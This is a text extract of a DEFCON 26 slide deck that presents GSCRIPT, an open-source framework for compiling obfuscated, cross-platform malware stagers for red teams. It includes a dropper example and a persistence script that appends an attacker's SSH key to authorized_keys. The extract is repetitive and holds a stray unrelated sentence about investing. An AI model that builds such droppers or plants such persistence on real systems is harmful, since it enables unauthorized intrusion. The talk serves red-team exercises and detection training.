I'll see your missile and raise you a MIRV:

AN OVERVIEW OF THE GENESIS SCRIPTING ENGINE

DEFCON 26
Alex Levinson (gen0cide)
Dan Borges (ahhh)
Vyrus (vyrus)
AGENDA

01 US, STAGERS, CCDC, & HISTORY
Introductions to us, stagers, and how we got here.

02 GENESIS & HOW IT WORKS
A deep dive into the dark magic behind GENESIS.

03 REAL WORLD APPLICATIONS
How we have already applied GENESIS to our jobs.

04 LIVE DEMO
This always works on stage right?!
Submit binaries here: bit.ly/google-form-upload-request
ABOUT US
PRESENTERS

Dan Borges
Information Security Professional
Wizard of blue team/red team exercises
Western & National CCDC Red Team

Alex Levinson
Senior Security Engineer @ Uber
Speciality in tool dev & red teaming
Western & National CCDC Red Team

Vyrus
Full Time Hacker
Doer Of All The Things
Western & National CCDC Red Team
STAGERS, CCDC, & HISTORY
WHAT IS A “STAGER”?

**Exploit**
The payload being transmitted to the target asset that leverages a flaw to execute instructions.

**Payload**
A block of assembly or application code that dynamically obtains malware and installs it on the target.

**STAGER**

**Malware(s)**
Malicious applications intended to persist on the asset for long periods of time.

**Trampoline**
The portion of the exploit code where the runtime context is modified to execute code or a command.

**Shellcode**

COMMONLY USED STAGERS

Meterpreter

Empire

Pupy
WHEN ARE STAGERS USED?

3rd party crimeware.

As a form of “packing”

Context aware implant solutions

Professional offensive engagements (CCDC)
A STORY OF STAGERS ON THE CCDC RED TEAM

2015 - 2016

Bash, Batch, and PowerShell droppers
Now we’re ready to release a re-written, shiny new V1.0 version to you today!

Genesis Scripting Engine development started in late 2017 to prepare for the 2018 CCDC season. We ended up using the BETA version at WRCCDC and NCCDC in 2018.

2017
Moved our tool chain to a golang, known as Gooby. This included a golang dropper experiment to abstract dropping from the other cluster bomb tools, known as Genesis.

2018
Genesis Scripting Engine development started in late 2017 to prepare for the 2018 CCDC season. We ended up using the BETA version at WRCCDC and NCCDC in 2018.

Today
Now we’re ready to release a re-written, shiny new V1.0 version to you today!
PRESENTING THE GENESIS SCRIPTING ENGINE
Simply, **GSCRIPT** is a framework that allows you to rapidly implement custom stagers for all three major operating systems.
CORE COMPONENTS

ENGINE
Core runtime that holds the javascript virtual machine. Small and flexible.

COMPILER
Configurable toolchain used to build native binaries from gscripts.

OBfuscator
Implements multiple types of binary obfuscation, some general, some specific to gscript.

STANDARD LIBRARY
Cross platform library of common functions supported by the gscript dev team.

COMMAND LINE TOOL (CLI)
The primary tool used to learn, test, and build binaries.

DEBUGGER
An interactive REPL that lets you play with gscript’s interactively.
BASIC EXAMPLE:
EMBED A PAYLOAD AND WRITE TO A FILE
1) Write a gscript

```javascript
1) import:/tmp/opt/ex1/payload.txt
2) var destLocation = "/tmp/opt/ex1/dest.txt"
3) function Deploy()
4) payloadData = GetAssetAsString("payload.txt")
5) G.file.WriteAllText(destLocation, payloadData[0])
8) 
```

"simple.gs" 8L, 208C 1,1 All
1) Write a gscript
1) Write a gscript
2) Write another

Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value.
1) Write a gscript
2) Write another
3) Compile using CLI

```
gscript compile --output-file /tmp/opt/ex1/dropper.bin *.gs
```
BASIC EXAMPLE

1) Write a gscript
2) Write another
3) Compile using CLI
4) That's it!!! Run it!!!
1) Write a gscript
2) Write another
3) Compile using CLI
4) That's it!!! Run it!!!
WAIT, WUT?
PLEASE EXPLAIN.
HIGH LEVEL WALK-THROUGH

01 GENERATE A GSCRIPT ENGINE UNIQUE FOR EACH SCRIPT
The compiler translates each script, its assets, and dependencies into a fully implemented engine bundle that gets embedded into the binary.

02 SERIALIZE AND EMBEDDED ASSETS INTO THEIR PARENT RUNTIME
Part of that engine bundle is a virtual file system that allows you to retrieve assets imported in your script at execution time.

03 GENERATE main() ENTRY POINT AND BUILT NATIVE EXECUTABLE
After the compiler "bundles" all the script engines, it creates a custom stand alone executable with everything it needs to execute each bundle.

04 ALL RUNTIMES LAUNCHED WHEN BINARY EXECUTED
At execution time, the logic gracefully handles execution order, parallelism, and failure isolation between the embedded engines.
WHAT'S IN THAT EXECUTABLE?

SCRIPTABLE STAGERS

What makes GSCRIPT unique is how it allows the author to easily develop stagers that can "think on their feet" and make intelligent execution decisions.

ALL DEPENDENCIES INCLUDED

The compiler generates a completely stand alone executable - no more looking for cURL or random system libraries.

SUPPORTS MULTIPLE SCRIPTS

Just like a MIRV, each script is executed in an isolated runtime. One script’s failure is now far less likely to cascade to the rest of the payloads.

LIGHTNING FAST EXECUTION

Script execution by default happens in parallel, making your deployment incredibly fast.
STAGER FEATURES

01 SCriPTING
Develop in Javascript
The engine embeds a portable Javascript V8 VM with special hooks to run native code.

04 PORTABLE
Powered By Golang
Using Golang’s cross platform compiler, GSCRIPT is able to support all three major operating systems (Win/Linux/OSX).

02 DURABLE
Resilient To Failure
Fault tolerance is baked into gscript. An error in one script will almost never affect another.

05 SECURE
Encrypts Scripts & Assets
Assets (including scripts) are encrypted during compilation and only decrypted when retrieved during execution.

03 CUSTOMIZE
Highly Customizable
Using compiler macros, you can customize the execution order and timeout for each script.

06 EXTEND
Link Native Go Packages
The GSCRIPT compiler can dynamically link Go packages and inject them into JS as callable functions and values.
Finally, the script's "entry point" is called. In GSCRIPT, this is the `Deploy()` function defined in your script.

**Focus on what your stager is doing. Leave the heavy lifting to GSCRIPT.**

All of this happens automagically. All you have to do is write your scripts and compile them.
GSCRIPT COMPILER
INTERNALS
COMPILER OVERVIEW

**Macro Processor**
Build an index of all custom options specified in the script macro declarations.

**AST Walker**
Walk both the Javascript and any referenced GoLang code and build detailed ASTs for all source and libraries.

**Dynamic Linker**
Enumerate the intersection of the ASTs and generate custom interfaces for the Javascript runtime to call native Go.

**Embedder**
Compress, encrypt and embed all assets, including the script itself into the engine’s intermediate representation.

**Obfuscator**
(Optional) Obfuscate the binary using both a pre-compilation and a post compilation pass. Because RE was never fun enough.
CREATING STANDALONE EXECUTABLES

To build a standalone executable, GSCRIPT's compiler translates your scripts and configurations into a sophisticated Go language source representation and uses the Go compiler to create the native executable.
The GSCRIPT compiler takes care of the rest. #WINNING

You can now use most exported, non-receiver functions. We've implemented a return array for any multiple assignment Go functions so you never miss data or errors.

The GSCRIPT compiler is smart enough to resolve your imports and ensure you're calling functions for that package correctly.

Import go packages using the `//go_import macro`

```go
//go_import:github.com/go-redi/go-redis/redis as redis

function Deploy() {
    r = redis.ParseURL("redis://localhost:6379/0");
    client = redis.NewClient(r[0]);
    client.Set("testkey", "defcon26", -1);
}
```

Call go functions directly from your script

You can now use most exported, non-receiver functions. We've implemented a return array for any multiple assignment Go functions so you never miss data or errors.

Compile the script normally

The GSCRIPT compiler takes care of the rest. #WINNING

```
0/tmp/opt/ex2 $ ls
native.gs
0/tmp/opt/ex2 $ redis-cli GET "testkey"
(nil)
0/tmp/opt/ex2 $ redis-cli GET "testkey"
"defcon26"
```

"This seems safe."
DEBUGGING
DEVELOPER SUPPORT

To make development and testing easier, we've implemented a custom debugger for GSCRIPT. It injects a Read-Eval-Print-Loop (REPL) into the Javascript VM and lets you play with your script interactively.

**GSCRIPT SHELL SUBCOMMAND**

You can launch an interactive debugger right from the CLI using the `gscript shell` command.
REPL TAKES MACROS TOO

To make development and testing easier, we’ve implemented a custom debugger for GSCRIPT. It injects a Read-Eval-Print-Loop (REPL) into the Javascript VM and lets you play with your script interactively.

**GSCRIPT SHELL SUBCOMMAND**

You can launch an interactive debugger right from the CLI using the `gscript shell` command.

**EVEN J-I-T LINK NATIVE LIBRARIES**

The debugger uses the same code the compiler uses to generate your binary. You can use `--macro/-m` to declare.
STEP THROUGH YOUR GSCRIPT

To make development and testing easier, we’ve implemented a custom debugger for GSCRIPT. It injects a Read-Eval-Print-Loop (REPL) into the Javascript VM and lets you play with your script interactively.

GSCRIPT SHELL SUBCOMMAND
You can launch an interactive debugger right from the CLI using the `gscript shell` command.

EVEN J-I-T LINK NATIVE LIBRARIES
The debugger uses the same code the compiler uses to generate your binary. You can use `--macro/-m` to declare.

STEP THROUGH YOUR CODE
Once inside the REPL, you can call functions just as you would from your script, including linked functions.
EXPLORE THE UNDERLYING TYPES

To make development and testing easier, we've implemented a custom debugger for GSCRIPT. It injects a Read-Eval-Print-Loop (REPL) into the Javascript VM and lets you play with your script interactively.

**GSCRIPT SHELL SUBCOMMAND**
You can launch an interactive debugger right from the CLI using the `gscript shell` command.

**EVEN J-I-T LINK NATIVE LIBRARIES**
The debugger uses the same code the compiler uses to generate your binary. You can use `--macro/-m` to declare.

**STEP THROUGH YOUR CODE**
Once inside the REPL, you can call functions just as you would from your script, including linked functions.

**SPECIAL DEBUG FUNCTIONS**
`TypeOf(obj)` reflects the Golang type of the object.
LIST LINKED FUNCTIONS

To make development and testing easier, we’ve implemented a custom debugger for GSCRIPT. It injects a Read-Eval-Print-Loop (REPL) into the Javascript VM and lets you play with your script interactively.

GSCRIPT SHELL SUBCOMMAND
You can launch an interactive debugger right from the CLI using the `gscript shell` command.

EVEN J-I-T LINK NATIVE LIBRARIES
The debugger uses the same code the compiler uses to generate your binary. You can use `--macro/-m` to declare.

STEP THROUGH YOUR CODE
Once inside the REPL, you can call functions just as you would from your script, including linked functions.

SPECIAL DEBUG FUNCTIONS
TypeOf(obj) reflects the Golang type of the object.
SymbolTable() prints a list of all Go packages and the functions linked into the running GSCRIPT engine.
CURRENT LIMITATIONS
CURRENT LIMITATIONS

No FreeBSD Support
Currently, GSCRIPT can only target a subset of Golang target OSes and architectures.
  (windows, linux, darwin)
  (amd64, 386)

Large Binaries
Because of embedding all its dependencies and payloads, the binaries tend to be on the larger side.
  (At least 2MB)

Limited Regex Support
Golang's RE2 has some corner case incompatibilities with Javascript regular expressions, preventing lots of JS code from being runnable out of the box.

Go Types Lack Flexibility
There are several declaration types in Golang which are not linkable yet. This includes const and var, as well as any exported type that isn't returnable by a function.

ES5 Support Only
The Javascript VM only supports ES5 at this time.

No Concurrency Primitives in JS
There is no async() primitives in Javascript currently. If you want to run async code, build a Go package that manages the concurrency.
GSCRIPT
STANDARD LIBRARY
## V1.0 STANDARD LIBS
FULLY CROSS PLATFORM

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Uses</th>
</tr>
</thead>
<tbody>
<tr>
<td>crypto</td>
<td>Various hashing algorithms &amp; RSA key generation</td>
</tr>
<tr>
<td>encoding</td>
<td>Encoding &amp; decoding base64</td>
</tr>
<tr>
<td>exec</td>
<td>Blocking and non-blocking command execution</td>
</tr>
<tr>
<td>file</td>
<td>File operations - write, read, append, copy, replace</td>
</tr>
<tr>
<td>net</td>
<td>Functions to help determine if the machine is listening on tcp/udp ports</td>
</tr>
<tr>
<td>os</td>
<td>Genesis process control (terminate self, etc.)</td>
</tr>
<tr>
<td>rand</td>
<td>Basic rand generators - int, strings, bools, etc.</td>
</tr>
<tr>
<td>requests</td>
<td>Basic HTTP client for GET &amp; POST of multiple content types</td>
</tr>
<tr>
<td>time</td>
<td>Retrieving system time in unix epoch</td>
</tr>
</tbody>
</table>
REAL WORLD APPLICATIONS
WHY GSCRIPT?

- Cross-platform
- Lower Overhead
- Infinite Expansion
- Consistency
- Self Documenting
- Low Barrier to Entry
- Features
PERSISTENCE AS CODE

1. Develop and keep a library of persistence techniques, separated by platform and tactic.
2. Easy to modify and add new persistence techniques, or weaponize them for operations.
3. Easy to audit for team activities, making sure persistence doesn't stomp each other.
4. Great for detection exercises, giving source code to blue teamers, and producing binaries for testing rules.
function Deploy() {
  // Getting our asset
  var publicKey = GetAssetAsBytes("id_rsa.pub");
  console.log("errors: "+publicKey[1]);

  // get user homedir
  var myUser = user.Current();
  console.log(myUser[0]);
  var dirname = myUser[0].HomeDir="/ssh/";
  dirname = dirname.toLowerCase();
  var dir = os.Stat(dirname);
  if (os.IsNotExist(dir)) {
    G.exec.ExecuteCommand("/bin/mkdir", [dirname]);
  }

  // make authorize keys file
  var filename = myUser[0].HomeDir+"/.ssh/authorized_keys";
  var stat = os.Stat(filename);
  if (os.IsNotExist(stat[1])) {
    errors = G.file.WriteByte(filename, publicKey[0]);
    console.log("errors: "+Dump(errors));
    console.log("SSH key added");
  } else {
    var appendedFileError = G.file.AppendBytes(filename, publicKey[0]);
    console.log("errors: "+Dump(appendedFileError));
    console.log("SSH key appended");
  }
}
return true;
COMBINING ATOMIC TECHNIQUES

Description Analysis
Easy to write and easy to audit, writing gscripts promote abstracting individual red team techniques for sharing and bundling into stand alone binaries.

Indeterminate Execution
Program your GSCRIPT eco system to never execute the same way twice.

Fault Tolerance
An individualized execution environment means one broken script does not break the rest.

Consistency
Include multiple persistence strategies in a single sample, allowing blue teams to train more efficiently.
DEMO TIME
#1: DAN'S EXAMPLE
ORDINANCE
#1: PRESENTER'S PAYLOAD D'JOUR
#3: THE PEOPLE'S BINARY
CONTACTS

Alex Levinson
TWITTER: @alexlevinson
GITHUB: github.com/gen0cide
EMAIL: alexl@uber.com

Dan Borges
TWITTER: @injection
GITHUB: github.com/ahhh
BLOG: lockboxx.blogspot.com

Vyrus
TWITTER: @vyrus
GITHUB: github.com/vyrus001
EMAIL: vyrus@dc949.org

Version 1.0 Available Now!

https://github.com/gen0cide/gscript

THE END
QUESTIONS?